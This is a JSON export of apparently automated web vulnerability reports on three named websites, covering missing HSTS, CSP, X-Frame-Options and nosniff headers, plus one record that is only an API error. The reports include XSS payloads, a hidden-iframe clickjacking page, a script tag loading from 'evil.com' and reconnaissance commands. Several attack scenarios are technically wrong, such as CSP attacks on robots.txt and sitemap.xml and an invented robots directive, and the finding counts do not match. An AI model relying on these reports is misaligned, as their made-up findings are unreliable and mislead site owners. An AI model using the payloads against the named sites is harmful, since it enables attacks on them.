[{"_id":{"$oid":"6a0d64865bbc057e6099d075"},"created_at":{"$date":"2026-05-20T07:36:38.928Z"},"url":"https://pro.anveshaktool.in/","tool":"generate_web_vulnerability_report","result":{"url":"https://pro.anveshaktool.in/","category":"web_vulnerability","timestamp":"2026-05-20T07:36:38.922194+00:00","report":"### [Multiple IPs Found / https://pro.anveshaktool.in/ / N/A]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/ |\n\n**Description**  \nThis informational finding indicates that multiple IP addresses were identified for the domain `pro.anveshaktool.in`. These include IPv4 and IPv6 addresses associated with Cloudflare's infrastructure (e.g., 104.21.23.154, 172.67.211.177). This behavior is typical when a website is fronted by a CDN or reverse proxy such as Cloudflare, which distributes traffic across geographically dispersed edge nodes.\n\nWhile not inherently a vulnerability, identifying multiple IPs can assist attackers in mapping network topology, detecting backend configurations, or attempting to bypass WAF protections by targeting less protected origins directly.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker may perform DNS enumeration using tools like `dig` or `nslookup` to discover all A/AAAA records:\n\n```bash\n$ dig pro.anveshaktool.in A AAAA +short\n104.21.23.154\n172.67.211.177\n2606:4700:3030::6815:179a\n2606:4700:3031::ac43:d3b1\n```\n\nThey might then attempt direct access to these IPs to check whether they bypass Cloudflare’s protection layer. If successful, they could potentially exploit vulnerabilities on the origin server without going through the CDN’s filtering mechanisms.\n\n**Business Impact**  \nAlthough this does not pose immediate risk, it provides reconnaissance value to adversaries who may uncover misconfigured internal systems or unprotected endpoints behind public-facing services.\n\n**Remediation**  \nEnsure that origin servers are configured to reject requests not routed through the CDN/WAF:\n- Restrict access at the firewall level to allow only trusted CDN ranges.\n- Implement proper host header validation on the origin server.\n- Regularly audit DNS entries and remove unnecessary mappings.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://pro.anveshaktool.in/ / https://pro.anveshaktool.in/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/ |\n\n**Description**  \nThe HTTP Strict Transport Security (HSTS) header is missing from responses sent by the application. The HSTS header instructs browsers to enforce secure communication over HTTPS for future visits to the site, preventing downgrade attacks and cookie hijacking over unencrypted channels.\n\nWithout this header, users remain vulnerable to man-in-the-middle attacks during their initial visit or after clearing browser state.\n\n**Attack Scenario (Proof of Concept)**  \nIf an attacker performs a MITM attack and intercepts the first connection attempt to `http://pro.anveshaktool.in`, they can redirect the user to a malicious clone of the site before the browser upgrades to HTTPS. Example interception flow:\n\n1. User types `anveshaktool.in`.\n2. Browser attempts HTTP request.\n3. Attacker responds with fake login page.\n4. Credentials stolen.\n\nAlternatively, if cookies lack the `Secure` flag, session tokens could be transmitted over plaintext HTTP if the user manually navigates to HTTP URLs.\n\n**Business Impact**  \nPotential exposure of sensitive credentials and sessions due to insecure transport protocols. Could lead to phishing success rates increasing and compromise of authenticated accounts.\n\n**Remediation**  \nAdd the following header to all HTTPS responses:\n\n```apache\nHeader always set Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\"\n```\n\nOr in NGINX:\n\n```nginx\nadd_header Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\" always;\n```\n\nAlso consider submitting your domain to the HSTS preload list maintained by Google.\n\nReference: [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/#div-http-strict-transport-security-hsts)\n\nCWE: CWE-319  \nRFC: RFC 6797  \n\n---\n\n### [Strict-Transport-Security Header Not Set / https://pro.anveshaktool.in/sitemap.xml / https://pro.anveshaktool.in/sitemap.xml]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/sitemap.xml |\n\n**Description**  \nSame as previous entry but applies specifically to `/sitemap.xml`. Lack of HSTS here means even static assets served under HTTPS are susceptible to downgrade attacks unless globally enforced.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker could manipulate sitemap delivery to inject links pointing to non-TLS versions of pages, tricking crawlers into indexing insecure paths.\n\nExample intercepted response modification:\n\n```xml\n<url>\n  <loc>http://pro.anveshaktool.in/login</loc>\n</url>\n```\n\nThis increases chances of exposing login forms or other sensitive interfaces over HTTP.\n\n**Business Impact**  \nRisk of search engines indexing insecure versions of critical pages, leading to increased attack surface and potential credential theft.\n\n**Remediation**  \nApply global HSTS headers as described previously. Ensure consistent enforcement across all sub-resources including XML documents.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://pro.anveshaktool.in/robots.txt / https://pro.anveshaktool.in/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/robots.txt |\n\n**Description**  \nMissing HSTS on `robots.txt` allows attackers to tamper with crawler instructions over HTTP, potentially hiding malicious directories or exposing unintended ones.\n\n**Attack Scenario (Proof of Concept)**  \nIntercepting and modifying `robots.txt` delivered over HTTP:\n\nOriginal:\n```\nUser-agent: *\nDisallow: /admin/\n```\n\nModified:\n```\nUser-agent: *\nAllow: /\n```\n\nThis could cause automated scanners to index restricted areas or miss important hidden paths.\n\n**Business Impact**  \nMisleading SEO bots and increasing visibility of sensitive directories. Also opens up possibilities for stealthier reconnaissance.\n\n**Remediation**  \nEnforce HSTS globally as outlined earlier. Additionally, serve `robots.txt` exclusively over HTTPS and validate its integrity regularly.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://pro.anveshaktool.in/robots.txt / https://pro.anveshaktool.in/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/robots.txt |\n\n**Description**  \nThe absence of the `X-Content-Type-Options: nosniff` header leaves older browsers open to MIME-type confusion attacks. In such cases, a file intended to be parsed as text/plain may instead be interpreted as executable JavaScript or HTML depending on byte patterns detected by the browser.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose an attacker uploads a `.txt` file containing embedded script tags:\n\n```html\n<script>alert(1)</script>\n```\n\nIf served without correct Content-Type and lacking `nosniff`, some browsers may execute the payload as JavaScript.\n\nRequest:\n```http\nGET /uploads/malicious.txt HTTP/1.1\nHost: pro.anveshaktool.in\n```\n\nResponse lacks both `Content-Type` and `X-Content-Type-Options`.\n\nBrowser interprets content based on sniffing logic → XSS triggered.\n\n**Business Impact**  \nPossible cross-site scripting (XSS) exploitation via MIME-type confusion, especially concerning legacy clients or misconfigured upload handlers.\n\n**Remediation**  \nSet the following header in all HTTP responses:\n\nApache:\n```apache\nHeader always set X-Content-Type-Options \"nosniff\"\n```\n\nNGINX:\n```nginx\nadd_header X-Content-Type-Options \"nosniff\" always;\n```\n\nEnsure accurate `Content-Type` headers accompany each resource.\n\nReference: [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/#div-x-content-type-options)\n\nCWE: CWE-116\n\n---\n\n### [HTTPS Content Available via HTTP / https://pro.anveshaktool.in/robots.txt / https://pro.anveshaktool.in/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/robots.txt |\n\n**Description**  \nResources originally accessed securely over HTTPS are also available over plain HTTP. This undermines confidentiality guarantees and exposes data to eavesdropping or manipulation en route.\n\n**Attack Scenario (Proof of Concept)**  \nAccessing `http://pro.anveshaktool.in/robots.txt` reveals same content as HTTPS version:\n\n```bash\ncurl http://pro.anveshaktool.in/robots.txt\n```\n\nSensitive directives within `robots.txt` become visible to passive observers on shared networks or compromised proxies.\n\n**Business Impact**  \nExposure of potentially sensitive information about disallowed paths, weakening overall defense posture against automated scanning tools.\n\n**Remediation**  \nRedirect all HTTP traffic to HTTPS permanently using 301 redirects:\n\nApache:\n```apache\nRewriteEngine On\nRewriteCond %{HTTPS} off\nRewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]\n```\n\nNGINX:\n```nginx\nserver {\n    listen 80;\n    return 301 https://$host$request_uri;\n}\n```\n\nAdditionally, configure HSTS to prevent future regressions.\n\n---\n\n### [Re-examine Cache-control Directives / https://pro.anveshaktool.in/robots.txt / https://pro.anveshaktool.in/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/robots.txt |\n\n**Description**  \nThe `Cache-Control` header is either absent or improperly configured, allowing caching of responses by intermediate proxies or browsers. While acceptable for static assets, improper caching of dynamic or sensitive content poses risks.\n\n**Attack Scenario (Proof of Concept)**  \nIf `robots.txt` contains time-sensitive exclusions and gets cached indefinitely:\n\n```http\nCache-Control: max-age=31536000\n```\n\nThen changes made to exclude new admin panels won’t propagate immediately, leaving them indexed temporarily.\n\n**Business Impact**  \nDelayed propagation of updated security policies; possible leakage of temporary secrets or private routes.\n\n**Remediation**  \nImplement granular cache control strategies:\n\nFor sensitive files:\n```http\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nExpires: 0\n```\n\nFor static assets:\n```http\nCache-Control: public, max-age=31536000\n```\n\nReview all endpoints and tailor caching rules accordingly.\n\n---\n\n### [Clickjacking Protection / https://pro.anveshaktool.in/ / https://pro.anveshaktool.in/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/ |\n\n**Description**  \nThe `X-Frame-Options` header is not present, making the application susceptible to clickjacking attacks. An attacker could embed the page inside an invisible iframe and trick users into performing unintended actions (e.g., clicking buttons, submitting forms).\n\n**Attack Scenario (Proof of Concept)**  \nAttacker creates a malicious webpage embedding the target app:\n\n```html\n<iframe src=\"https://pro.anveshaktool.in/\" width=\"100%\" height=\"100%\" style=\"opacity: 0;\"></iframe>\n<button onclick=\"document.querySelector('iframe').contentWindow.postMessage(...)\" style=\"position:absolute;top:200px;left:300px;\">Click Me!</button>\n```\n\nVictim clicks button believing it belongs to the attacker’s site, unknowingly interacting with framed content.\n\n**Business Impact**  \nUnauthorized actions performed on behalf of logged-in users, including form submissions, deletions, or privilege escalations.\n\n**Remediation**  \nAdd the following header to all responses:\n\nApache:\n```apache\nHeader always set X-Frame-Options \"DENY\"\n# Or \"SAMEORIGIN\" if framing needed internally\n```\n\nNGINX:\n```nginx\nadd_header X-Frame-Options \"DENY\" always;\n```\n\nConsider implementing Content Security Policy (`frame-ancestors`) for more modern protection.\n\nReference: [OWASP Clickjacking Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)\n\nCWE: CWE-451\n\n---\n\n### [HTTP Strict Transport Security (HSTS) / https://pro.anveshaktool.in/ / https://pro.anveshaktool.in/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/ |\n\n**Description**  \nDuplicate of prior HSTS findings. No additional context provided beyond what already covered.\n\n**Attack Scenario (Proof of Concept)**  \nSee previous HSTS-related sections.\n\n**Business Impact**  \nSee previous HSTS-related sections.\n\n**Remediation**  \nSee previous HSTS-related sections.\n\n---\n\n### [MIME Type Confusion / https://pro.anveshaktool.in/ / https://pro.anveshaktool.in/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://pro.anveshaktool.in/ |\n\n**Description**  \nSame root cause as earlier X-Content-Type-Options issue. Absence of `nosniff` directive enables MIME-sniffing-based attacks.\n\n**Attack Scenario (Proof of Concept)**  \nSee previous X-Content-Type-Options section.\n\n**Business Impact**  \nSee previous X-Content-Type-Options section.\n\n**Remediation**  \nSee previous X-Content-Type-Options section.","summary":{"total":11}},"summary":{"total":11}},{"_id":{"$oid":"6a0e864d0759bb65a6ed1f87"},"created_at":{"$date":"2026-05-21T04:13:01.045Z"},"url":"https://springs.com.pk","tool":"generate_web_vulnerability_report","result":{"url":"https://springs.com.pk","category":"web_vulnerability","timestamp":"2026-05-21T04:13:01.038209+00:00","report":"### [Multiple IPs Found / springs.com.pk / N/A]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://springs.com.pk |\n\n**Description**  \nThe Nikto scan identified that the domain `springs.com.pk` resolves to multiple IP addresses: one IPv4 (`208.91.112.55`) and one IPv6 (`2001:cdba::3257:9652`). This is typically normal behavior for dual-stack environments but can also indicate potential misconfigurations or inconsistencies in load balancing, CDN setup, or DNS round-robin configurations.\n\nAn attacker may use this information during reconnaissance to map out infrastructure redundancy, identify backend systems, or attempt targeted attacks against less secure endpoints.\n\n**Attack Scenario (Proof of Concept)**  \n1. Attacker performs a DNS lookup using `dig` or `nslookup`:  \n   ```bash\n   dig A springs.com.pk\n   dig AAAA springs.com.pk\n   ```\n2. Observes both IPv4 and IPv6 records returned.\n3. Probes each endpoint individually via HTTP(S) requests to determine differences in response headers, content, or security posture:\n   ```bash\n   curl -I http://[2001:cdba::3257:9652]/\n   curl -I http://208.91.112.55/\n   ```\n\nThis could reveal inconsistent configurations across different servers or expose legacy services on older stacks.\n\n**Business Impact**  \nWhile not directly exploitable, exposure of multiple IPs increases the attack surface by revealing additional network entry points. It may assist attackers in identifying outdated or misconfigured hosts which might lack current patches or hardened configurations.\n\n**Remediation**  \nEnsure all exposed IP addresses are intentionally configured and uniformly secured:\n- Audit DNS records to confirm only necessary IPs are published.\n- Ensure consistent application-level and server-level hardening across all resolved endpoints.\n- Implement centralized logging and monitoring for traffic anomalies from these IPs.\n- Where applicable, restrict access at the firewall level if certain IPs should not be publicly accessible.\n\n---\n\n### [Missing Content Security Policy / springs.com.pk / GET https://springs.com.pk/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://springs.com.pk/ |\n\n**Description**  \nThe website does not implement a Content Security Policy (CSP), leaving it vulnerable to Cross-Site Scripting (XSS) exploitation. CSP provides an added layer of protection by allowing website owners to define trusted sources of content and restrict inline scripts or object execution.\n\nWithout CSP, even minor XSS flaws become more dangerous as they allow arbitrary script injection without mitigation mechanisms such as nonce-based restrictions or strict-src directives.\n\n**Attack Scenario (Proof of Concept)**  \nIf an XSS vulnerability exists elsewhere on the site, an attacker could inject malicious JavaScript like:\n```html\n<script>alert(document.cookie)</script>\n```\nBecause no CSP header blocks inline execution, the browser executes the payload, potentially stealing session cookies or performing actions under user context.\n\nExample request showing missing CSP:\n```http\nGET / HTTP/1.1\nHost: springs.com.pk\n...\n\nResponse Headers:\nServer: Apache\nContent-Type: text/html; charset=UTF-8\n...\n(No Content-Security-Policy header present)\n```\n\n**Business Impact**  \nLack of CSP increases risk of successful XSS exploitation, leading to account compromise, phishing, credential theft, or defacement. In regulated industries, this may lead to compliance violations related to data integrity and confidentiality.\n\n**Remediation**  \nImplement a strong CSP policy via HTTP response headers:\n```apache\nHeader always set Content-Security-Policy \"default-src 'self'; script-src 'self' 'unsafe-inline'; object-src 'none';\"\n```\nOr dynamically within HTML `<meta>` tags:\n```html\n<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'self';\">\n```\nAvoid `'unsafe-inline'` unless absolutely required. Use nonces or hashes when needed.\n\nReference: [OWASP CSP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html), CWE-1021\n\n---\n\n### [Missing X-Frame-Options Header / springs.com.pk / GET https://springs.com.pk/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://springs.com.pk/ |\n\n**Description**  \nThe `X-Frame-Options` header is absent from responses, making the site susceptible to clickjacking attacks. Clickjacking occurs when a malicious page overlays transparent elements over legitimate UI components, tricking users into clicking unintended actions.\n\nProperly setting `X-Frame-Options` prevents framing by third-party sites, mitigating such risks.\n\n**Attack Scenario (Proof of Concept)**  \nAttacker creates an HTML page embedding the target in an iframe:\n```html\n<iframe src=\"https://springs.com.pk/\" width=\"800\" height=\"600\"></iframe>\n<style>iframe { opacity: 0; }</style>\n<div style=\"position:absolute;top:200px;left:300px;\">Click here to win!</div>\n```\nVictim clicks what appears to be a harmless link, but actually interacts with hidden buttons inside the framed page—e.g., submitting forms or authorizing transactions unknowingly.\n\n**Business Impact**  \nPotential unauthorized actions taken on behalf of authenticated users, including financial transfers, profile changes, or deletion of resources. Reputational harm due to perceived lack of basic security controls.\n\n**Remediation**  \nAdd the following HTTP response header:\n```apache\nHeader always append X-Frame-Options SAMEORIGIN\n```\nAlternatively, use modern alternatives like `frame-ancestors` directive in CSP:\n```http\nContent-Security-Policy: frame-ancestors 'self';\n```\n\nReference: [OWASP Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html), CWE-451\n\n---\n\n### [Missing HSTS Header / springs.com.pk / GET https://springs.com.pk/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://springs.com.pk/ |\n\n**Description**  \nHTTP Strict Transport Security (HSTS) is not enforced, meaning browsers may still connect over unencrypted HTTP initially before being redirected to HTTPS. An active man-in-the-middle (MITM) attacker could intercept initial plaintext requests and prevent redirection to HTTPS, exposing sensitive data.\n\nEnabling HSTS ensures that future connections automatically upgrade to HTTPS, reducing MITM risks.\n\n**Attack Scenario (Proof of Concept)**  \n1. Victim types `springs.com.pk` in their browser.\n2. Initial connection made over HTTP (if cached DNS resolves to HTTP first).\n3. Attacker intercepts request and serves fake login form instead of redirecting to HTTPS version.\n4. User submits credentials over insecure channel.\n\nExample response lacks HSTS:\n```http\nGET / HTTP/1.1\nHost: springs.com.pk\n...\n\nHTTP/1.1 200 OK\nServer: Apache\nLocation: https://springs.com.pk/\n...\n(No Strict-Transport-Security header)\n```\n\n**Business Impact**  \nRisk of session hijacking, credential interception, and downgrade attacks. Especially critical for authentication flows or e-commerce functionality.\n\n**Remediation**  \nSet the HSTS header with sufficient max-age and includeSubDomains/preload flags:\n```apache\nHeader always set Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\"\n```\nEnsure TLS certificate is valid and properly configured prior to enabling HSTS.\n\nReference: [RFC 6797](https://tools.ietf.org/html/rfc6797), OWASP Transport Layer Protection Cheat Sheet, CWE-319\n\n---\n\n### [Missing X-Content-Type-Options Header / springs.com.pk / GET https://springs.com.pk/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://springs.com.pk/ |\n\n**Description**  \nThe `X-Content-Type-Options` header is missing, increasing susceptibility to MIME type sniffing attacks. Browsers sometimes guess file types based on content rather than declared MIME types, which can result in executable files being interpreted as HTML or scripts.\n\nSetting `X-Content-Type-Options: nosniff` instructs browsers to strictly adhere to declared MIME types, preventing such misinterpretation.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose an attacker uploads a file named `image.jpg`, but its contents are actually HTML with embedded JavaScript:\n```html\n<script>alert('Sniffed!');</script>\n```\nIf served with incorrect MIME type (`text/plain`) but browser sniffs it as HTML, the script will execute.\n\nExample response shows absence:\n```http\nGET /upload/image.jpg HTTP/1.1\nHost: springs.com.pk\n...\n\nHTTP/1.1 200 OK\nContent-Type: text/plain\n...\n(No X-Content-Type-Options header)\n```\n\n**Business Impact**  \nIncreased likelihood of XSS and other client-side code injection vulnerabilities. Can facilitate bypass of input validation and content filtering systems.\n\n**Remediation**  \nInclude the following HTTP response header globally:\n```apache\nHeader always set X-Content-Type-Options nosniff\n```\nApply especially to dynamic content, uploaded files, and API responses.\n\nReference: [MDN Web Docs – X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options), CWE-16\n\n---","summary":{"total":5}},"summary":{"total":5}},{"_id":{"$oid":"6a135d325721216a08993b02"},"created_at":{"$date":"2026-05-24T20:18:58.143Z"},"url":"https://cp-club-vjti.vercel.app/","tool":"generate_web_vulnerability_report","result":{"url":"https://cp-club-vjti.vercel.app/","category":"web_vulnerability","timestamp":"2026-05-24T20:18:58.137426+00:00","report":"An error occurred (UnrecognizedClientException) when calling the Converse operation: The security token included in the request is invalid.","summary":{"total":23}},"summary":{"total":23}},{"_id":{"$oid":"6a1f2afed4174aff70379391"},"created_at":{"$date":"2026-06-02T19:11:58.381Z"},"url":"https://www.cert-in.org.in/","tool":"generate_web_vulnerability_report","result":{"url":"https://www.cert-in.org.in/","category":"web_vulnerability","timestamp":"2026-06-02T19:11:58.376415+00:00","report":"### Critical Findings\n(None identified)\n\n---\n\n### High Findings\n(None identified)\n\n---\n\n### Medium Findings\n\n#### CSP: Failure to Define Directive with No Fallback / www.cert-in.org.in /\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/ |\n\n**Description**\nThe Content Security Policy (CSP) header lacks definition for critical directives such as `default-src`, which serves as a fallback when other directives are unspecified. Omitting such directives effectively allows unrestricted resource loading, undermining the purpose of CSP and increasing susceptibility to cross-site scripting (XSS) and data injection attacks.\n\n**Attack Scenario (Proof of Concept)**\nIf an attacker identifies an XSS vector on the page, the absence of restrictive CSP policies enables execution of arbitrary scripts:\n```html\n<script>alert(document.cookie)</script>\n```\nThis payload would execute without being blocked due to lack of policy enforcement.\n\n**Business Impact**\nFailure to enforce strict CSP directives leaves users vulnerable to client-side attacks, potentially leading to session hijacking, phishing, or defacement. It also reflects poorly on compliance posture related to secure coding practices.\n\n---\n\n#### CSP: Wildcard Directive / www.cert-in.org.in /\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/ |\n\n**Description**\nUse of wildcard (`*`) in CSP directives significantly weakens protection mechanisms. For instance, setting `script-src *` permits script execution from any origin, negating the benefits of CSP in mitigating XSS risks.\n\n**Attack Scenario (Proof of Concept)**\nGiven a permissive directive like `script-src *`, an attacker injects malicious JavaScript sourced externally:\n```html\n<script src=\"https://evil.com/malicious.js\"></script>\n```\nSuch scripts would be executed because the CSP explicitly allows external domains.\n\n**Business Impact**\nWildcard usage undermines user trust and exposes the organization to reputational harm and regulatory scrutiny under frameworks requiring robust input/output sanitization controls.\n\n---\n\n#### CSP: Failure to Define Directive with No Fallback / robots.txt\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/robots.txt |\n\n**Description**\nSimilar to the root path, the `/robots.txt` file's CSP omits essential directives like `default-src`. This omission implies that even auxiliary files lack proper content restrictions, making them susceptible to manipulation or exploitation.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker modifies the `robots.txt` file to include references to malicious origins:\n```txt\nSitemap: https://attacker-controlled.com/sitemap.xml\nDisallow: /\n```\nWithout strong CSP enforcement, browsers do not restrict such external references.\n\n**Business Impact**\nImproper CSP configuration on publicly accessible files can aid attackers in mapping internal structures or redirecting crawlers toward harmful content, indirectly affecting SEO and visibility.\n\n---\n\n#### CSP: Wildcard Directive / robots.txt\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/robots.txt |\n\n**Description**\nPresence of wildcard directives in the CSP header for `robots.txt` reduces its effectiveness in preventing unauthorized resource inclusion. Attackers can exploit this weakness to reference untrusted domains within metadata files.\n\n**Attack Scenario (Proof of Concept)**\nBy leveraging a wildcard directive, an attacker includes a remote stylesheet or script inside the `robots.txt` context:\n```txt\nUser-agent: *\nAllow: /*\nStyle-src: *\n```\nThough unlikely to render visually, improper parsing engines might interpret such malformed entries.\n\n**Business Impact**\nWeak CSP settings reduce overall defense-in-depth strategy, increasing chances of successful supply chain or redirection-based attacks targeting search engine crawlers.\n\n---\n\n#### CSP: Failure to Define Directive with No Fallback / sitemap.xml\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/sitemap.xml |\n\n**Description**\nLike other paths, the `sitemap.xml` document lacks defined CSP fallbacks. This absence means there is no baseline restriction on what resources can be loaded alongside or referenced by the XML structure.\n\n**Attack Scenario (Proof of Concept)**\nMalicious actors may inject external links into the sitemap:\n```xml\n<url>\n  <loc>https://malicious-site.com/phishing</loc>\n</url>\n```\nBrowsers interpreting this file with loose CSP rules won’t block such references.\n\n**Business Impact**\nInsecure handling of structured metadata increases exposure to blackhat SEO tactics and compromises organic traffic integrity.\n\n---\n\n#### CSP: Wildcard Directive / sitemap.xml\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/sitemap.xml |\n\n**Description**\nWildcard use in CSP for `sitemap.xml` diminishes control over embedded or linked resources. Even though XML typically doesn't execute code, improper rendering contexts or parser flaws could enable unintended behavior.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker crafts a malformed entry referencing an external domain:\n```xml\n<image:image>\n  <image:loc>http://untrusted.example.com/image.jpg</image:loc>\n</image:image>\n```\nWith wildcard CSP, such URLs aren’t restricted during processing.\n\n**Business Impact**\nLack of granular CSP enforcement weakens site-wide defenses against third-party tampering and indirect exfiltration techniques.\n\n---\n\n#### Content Security Policy Misconfiguration – Missing `script-src` Directive / www.cert-in.org.in /\n\n| Field         | Value                          |\n|---------------|--------------------------------|\n| Severity      | Medium                         |\n| CVSS Score    | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category      | web_vulnerability              |\n| Asset / URL   | https://www.cert-in.org.in/    |\n\n**Description**\n\nThe Content Security Policy (CSP) header for the target application does not define a `script-src` directive. This directive controls which sources are allowed to load or execute JavaScript on the page. Without explicit restrictions, browsers may default to allowing inline scripts and external script sources, increasing the risk of cross-site scripting (XSS) attacks. A properly configured CSP mitigates XSS by restricting script execution to trusted domains only.\n\nThis misconfiguration indicates that the application relies on implicit behavior rather than enforcing strict policies, leaving potential gaps for malicious actors to inject unauthorized scripts into the DOM context.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker who identifies this weakness can attempt to inject arbitrary JavaScript via reflected or stored XSS vectors. Since there's no enforced `script-src`, even inline event handlers or `<script>` tags from untrusted origins might be executed by the browser.\n\nExample payload injection:\n```html\n<script>alert(document.domain)</script>\n```\n\nIf the application reflects user input without proper sanitization—such as within a search parameter or comment field—an attacker could deliver such payloads directly to victims. The lack of `script-src` enforcement allows these scripts to run natively in the victim’s session context, enabling session hijacking, credential theft, or redirection to phishing pages.\n\n**Business Impact**\n\nWithout effective control over script execution, CERT-In's website becomes more susceptible to client-side attacks like XSS. These vulnerabilities could lead to impersonation of legitimate users, compromise of administrative sessions, or defacement of public-facing content. Given the authoritative nature of the domain, successful exploitation could undermine trust in official advisories or communications issued through the platform. Additionally, regulatory frameworks such as India’s IT Act or global standards like ISO/IEC 27001 may view inadequate CSP implementation as non-compliance with secure configuration practices.\n\n---\n\n#### Content Security Policy Misconfiguration – Missing `object-src` Directive / www.cert-in.org.in /\n\n| Field         | Value                          |\n|---------------|--------------------------------|\n| Severity      | Medium                         |\n| CVSS Score    | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category      | web_vulnerability              |\n| Asset / URL   | https://www.cert-in.org.in/    |\n\n**Description**\n\nThe absence of the `object-src` directive in the site's Content Security Policy means that plugins such as Flash, Java applets, PDF viewers, and other embedded objects are unrestricted. By default, most modern browsers will allow loading resources from any origin when this directive is omitted, unless 